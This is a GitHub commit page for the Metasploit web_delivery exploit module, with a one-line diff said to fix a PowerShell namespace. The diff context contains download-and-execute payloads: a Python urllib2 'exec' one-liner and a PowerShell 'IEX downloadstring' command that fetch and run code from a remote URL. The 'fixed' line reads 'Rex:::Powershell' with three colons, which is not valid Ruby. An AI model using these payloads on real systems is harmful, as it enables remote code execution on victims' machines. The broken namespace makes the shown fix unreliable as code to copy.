Skip to content

Commit aa4f913

Browse files
committed
Resolves rapid7#5199
Fix Powershell namespace in web_delivery module
1 parent 85ba60b commit aa4f913

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -88,7 +88,7 @@ def primer
8888
when 'Python'
8989
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
9090
when 'PSH'
91-
ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
91+
ignore_cert = Rex:::Powershell::PshMethods.ignore_ssl_certificate if ssl
9292
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
9393
print_line generate_psh_command_line(
9494
noprofile: true,

0 commit comments

Comments
 (0)